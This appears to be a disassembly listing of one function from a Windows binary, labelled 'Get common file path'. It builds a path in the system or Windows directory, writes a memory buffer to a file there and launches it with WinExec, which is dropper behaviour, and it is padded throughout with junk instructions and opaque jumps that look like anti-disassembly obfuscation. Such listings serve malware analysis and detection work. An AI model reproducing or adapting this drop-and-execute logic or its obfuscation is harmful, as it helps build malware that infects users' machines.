Function at 0x100060c0
Capabilities:
Get common file path

Disassembly:
cmp bx, 0x52e6
dec eax
xor bl, al
popal
push 6
push 0x10009104
push 0x18
push 0x10009058
call fcn.10002220
add esp, 0x10
push edx
cmp dh, 0x1f
test bx, dx
cmp dx, bx
xor dh, 0x74
or dh, bl
xor dl, ah
je 0x1000609e
xor dl, ah
dec dh
pop edx
jp 0x100060b0
xchg dx, dx
jnp 0x100060b0
sar byte [ebx + 0xf], cl
jmp 0x10006092
pop edi
pop esi
pop ebx
ret
push ebp
mov ebp, esp
sub esp, 0x71c
push ebx
push esi
push edi
js 0x100060e8
push di
pop di
jns 0x100060e8
jg 0x10006067
clc
mov bh, 0x48
pop ebx
not dword ds:[ebp + 0x7e4e988e]
pop ss
jle 0x10006101
mov esi, esi
nop
jg 0x10006101
jns 0x10006154
test al, 0x40
out dx, eax
insd dword es:[edi], dx
test ebx, esi
aaa
mov al, 0xa7
adc dword [ebp + 0x61e7cb6], edx
iretd
mov esi, dword [ebp + 8]
mov eax, dword [esi + 4]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x1000611d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jl 0x1000613d
push di
pop di
jge 0x1000613d
mov dword [0xcf269eb8], eax
inc ebx
or eax, 0xac9075ef
mov esi, 0xd394884b
lea ecx, [ebp - 4]
lea edx, [ebp - 8]
push ecx
mov ecx, dword [esi + 4]
lea eax, [ebp - 0xc]
push edx
push eax
push ecx
push ebx
lea edx, [esi + 0x48]
push 0x4e20
add byte [eax], al
push edx
call fcn.10001530
mov ecx, dword [esi + 4]
add esp, 0x1c
cmp eax, ecx
mov dword [ebp - 0x10], eax
je 0x1000617b
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jp 0x10006199
xchg cx, cx
jnp 0x10006199
mov gs, esi
jae 0x100061b7
test eax, 0x4ae9aff1
test eax, 0x3fe7e9fa
mov eax, dword cs:[ebp - 4]
mov eax, dword [ebp - 4]
mov ecx, dword [esi + 4]
cmp eax, ecx
je 0x100061b5
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jle 0x100061da
pop ds
add byte [eax], al
add byte [esi - 0x75], ah
invalid
mov bx, bx
xchg si, si
xchg dl, dl
jg 0x100061da
lahf
fdivr qword [ecx + 0x14]
pushfd
call 0xea6e65d
call 0xd968779c
pop es
fimul word [ebx + 0x24886]
add byte [ebx + 0x3d7400e8], al
mov eax, dword [esi + 0x248]
sub eax, 0
je 0x10006222
dec eax
je 0x1000620e
dec eax
push 0x104
je 0x100061ff
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x1000624d
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x1000624d
lea eax, [ebp - 0x114]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x1000624d
lea ecx, [ebp - 0x114]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [ebp - 0x114]
push 0x5c
push edx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x1000624d
mov byte [eax], 0
push eax
push ecx
sub cl, cl
sub ch, 0x2f
xor ecx, edi
pop ecx
pop eax
lea eax, [esi + 0x24c]
lea ecx, [ebp - 0x114]
push eax
push ecx
lea edx, [ebp - 0x31c]
push 0x100091d8
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
jbe 0x10006290
push eax
mov eax, 0xd36b3e14
pop eax
ja 0x10006290
mov dh, 0x86
cmp eax, 0x880643d5
aad 0xe5
jge 0x100062dd
cmp edi, dword [esi - 0x31b7a73]
invalid
lea eax, [ebp - 0x31c]
push 0x100091e0
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 0x18
test edi, edi
jne 0x100062bd
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
je 0x100062ca
xchg edx, edx
xchg si, si
jne 0x100062ca
cmp esp, esi
add eax, 0xf04d8b7b
mov ecx, dword [ebp - 0x10]
push edi
push ecx
push 1
push ebx
call dword [sym.imp.MSVCRT.dll_fwrite]
mov ecx, dword [ebp - 0x10]
add esp, 0x10
cmp eax, ecx
je 0x100062f4
adc byte [ebx], bh
sal dword [edx + edx + 0x53], 0xe8
dec eax
add al, byte [eax]
add byte [ebx - 0x3fccfb3c], al
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jp 0x10006312
xchg cx, cx
jnp 0x10006312
mov gs, esi
jae 0x10006330
test eax, 0x4ae9aff1
test eax, 0x3fe7e9fa
push edi
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 8
push eax
push ebx
and ax, si
and eax, eax
xor ah, 0x5a
and ah, 0x3d
xor ax, di
xor eax, edi
or ah, dl
test bx, 0x262d
test ah, bl
test ah, 0x34
pop ebx
pop eax
mov eax, dword [esi]
xor ebx, ebx
cmp eax, ebx
jne 0x100063f9
jl 0x10006358
push dx
mov dx, 0xbfd0
pop dx
jge 0x10006358
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x51b]
mov byte [ebp - 0x51c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [esi + 8]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100063a0
push edx
lea edx, [ebp - 0x31c]
push edx
lea eax, [ebp - 0x51c]
push 0x100091e4
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
jmp 0x100063cc
lea edi, [ebp - 0x31c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x51c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 8]
push ax
push ebx
inc bh
cmp ax, 0x7871
inc bx
add bx, di
test ax, 0x5a1d
cmp bh, 0x5e
inc bx
cmp ah, dh
pop ebx
pop ax
lea ecx, [ebp - 0x51c]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
xor ebx, ebx
push edx
xor dx, 0x36b3
pop edx
cmp dword [esi], 1
jne 0x100064e6
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x71b]
mov byte [ebp - 0x71c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x41f]
mov byte [ebp - 0x420], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push dx
push ecx
xor ecx, edi
cmp dh, bl
and ecx, edi
and cx, cx
inc cx
xor dx, 0x6c14
test ch, 0x66
pop ecx
pop dx
lea edx, [ebp - 0x420]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esi + 8]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100064a0
lea eax, [ebp - 0x31c]
push edx
push eax
lea ecx, [ebp - 0x420]
push 0x10009204
push ecx
lea edx, [ebp - 0x71c]
push 0x100091ec
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x18
jmp 0x100064c8
lea eax, [ebp - 0x31c]
lea ecx, [ebp - 0x420]
push eax
push 0x10009204
push ecx
lea edx, [ebp - 0x71c]
push 0x100091f8
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
push edi
inc di
test di, 0x3f60
xor di, 0x5177
sub edi, esi
pop edi
lea eax, [ebp - 0x71c]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push eax
push ebx
push edx
xor ax, 0x507e
sub eax, eax
or dl, bh
test ah, bl
add dl, bh
sub al, 0x1a
inc dl
add eax, esi
mov edx, 0x5ac0
test ah, 0x47
pop edx
pop ebx
pop eax
jbe 0x1000651c
push cx
mov cx, 0x36ba
pop cx
ja 0x1000651c
fcom qword [edi + 0x1b85e5f]
add byte [eax], al
add byte [ebx - 0x75], bl
in eax, 0x5d
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret